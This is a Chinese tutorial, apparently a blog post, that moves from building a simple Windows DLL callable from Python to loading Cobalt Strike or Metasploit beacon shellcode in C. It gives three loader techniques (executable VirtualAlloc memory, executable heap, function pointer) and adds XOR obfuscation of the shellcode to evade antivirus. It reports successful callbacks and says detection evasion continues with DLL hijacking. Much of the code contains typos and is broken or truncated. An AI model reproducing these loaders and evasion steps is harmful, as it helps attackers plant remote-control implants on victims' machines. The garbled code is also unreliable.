dll和c语言加载木马

dll全称动态链接库,windows独有的技术,是一个自己无法运行,要让其他程序调用的类方法,函数

在c语言开发软件(dev,vs)中写一个dll文件

创建一个c语言的dll项目,勾选c项目

这个项目下会自动创建两个c文件,dllmain.c和dll.h

(2)在dllmain.c中定义源代码函数接口

#include "dll.h"

#include windows. h

DLLIMPORT void Helloworld()

{

MessageBox (0, "Hello World from DLL! \n", "Hi" ,MB_ICONINFORMATION):

}

#加上一个Calculate函数

DLLIMPORT int Calculate (int a, int b) {

int result = a + b;

return result;

}

然后在dll.h的头文件中声明函数接口 ,把DLLIMPORT int Calculate (int a, int b)加上

然后编译

生成了一个dll文件

点运行,会出现这个提示,因为dll文件不能单独运行

在Python中调用DLL函数接口,将这个dll文件复制到我们的python目录下来

创建一个dlltest.py,写入代码 ,ctypes 内置库:使 Python 可以直接调用操作系统内核 API 接口,由于这个dll文件没有在系统注册,所以我们先要加载dll文件,之后就可以调用里面的函数了

import ctypes
#加载DLL文件
func = ctypes.CDLL("./MyDLLDemo.dll")
#调用函数
func.HelloWorld()

运行这段代码,弹窗出现了:

然后我们再调用另一个函数

result = func.Calculate(100,200)
print(result)

运行结果如下

C语言加载ShellCode

1,在MSF或CS中生成C语言的ShellCode

使用32位的,取消勾选x64

listerner选择HTTP_Beacon

点generate生成保存到Muma18的目录底下去

然后打开payload.c,这就是一个C语言版本的CS的payload

2、在C语言中对其进行加载实现CS上线

我们新建一个C语言的可执行项目,名称叫做RunCS

将我们生成的payload输入进去 ,并添加一个函数指针加载器,在主函数中调用start()

unigned 叫无符号型(没有负数位),有符号:-128~127(第一位的0表示负,1表示正),无符号:0-255

char buf[] 表示定义了一个字符数组(也可以看成是字符串,C语言没有内置字符串string类型),在c语言中也可以用字符指针进行定义

编译没有报错

然后运行,没有报错

然后发现上线成功

运行代码的时候,文件夹里会出现可执行程序RunCS.exe

但是经检验这个exe会报毒

3、C语言加载调用shellcode的几种方式

//第一种加载:申请内存加载
void *p = Virtualalloc (NULL, sizeof (enc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcdy(p,enc,sizeof(enc));
CODE code = (CODE) p;
code();
}

//第二种加载:堆加载
HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(enc)) ;
memcpy (exec, enc, sizeof(enc));
((void (*) ()) exec) () ;

//第三种加载:函数指针加载
((void (*) (void)) & enc) () ;

使用内存加载的方式

然后我们编译运行,发现没有问题,说明编译成功

上线成功

使用堆加载的方式

编译运行成功

成功上线

把几种代码整合起来

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
 
typedef void (__stdcall *CODE) () ;
 
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
 
unsigned char buf [] = "'xfc\xe8\×89\×00\x00\×00\×60\×89\xe5\×31\xd2\×64\x8b\×52";
 
 
void start () {
    申请内存加载
    /*
    void *p = Virtualalloc(NULL, sizeof (buf), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    memcpy (p, buf, sizeof(buf));
    CODE code = (CODE) p;
    code();
    */
    
    堆加载
    /*
    HANDLE myHeap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* exec = HeapAlloc (myHeap, HEAP_ZERO_MEMORY, sizeof (buf));
    memcpy (exec, buf, sizeof(buf));
    ((void (*) ()) exec) () ;
    */
    
    函数指针加载
    /* ((void(*) (void)) & buf) (); */
 
int main(int arge, char targv[]) {
    start();
    return 0;
}

尝试对ShellCode进行代码混淆

对我们的shellcode进行异或处理,然后打印到控制台上去

void Encrypt() { 
    unsigned char encCode[5000]; 
    int key = 999; 
    int i; 
    for (i = 0; i < strlen(buf); i++) { 
        printf("\\x%x", buf[i] ^ key); 
    } 
}

编译成功,说明没有错误

然后运行,成功打印,正常输出异或加密处理过的shellcode,相当于做了一个代码混淆

得到了加密的之后,我们就来解密

将加密的ShellCode放到字符数组enc中

然后调用下面的代码,使用函数指针加载的方式去加载调用解密之后的ShellCode

void Decrypt() {
    unsigned char decCode[5000];
    int key = 999;
    int i;
    for (i = 0; i < sizeof(enc) - 1; i++) {
        decCode[i] = enc[i] ^ key;
    }
    ((void(*)()) &decCode)();
}

编译运行成功

上线成功

但是依然是不免杀的,所以我们要用到下一节的dll劫持技术实现免杀

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值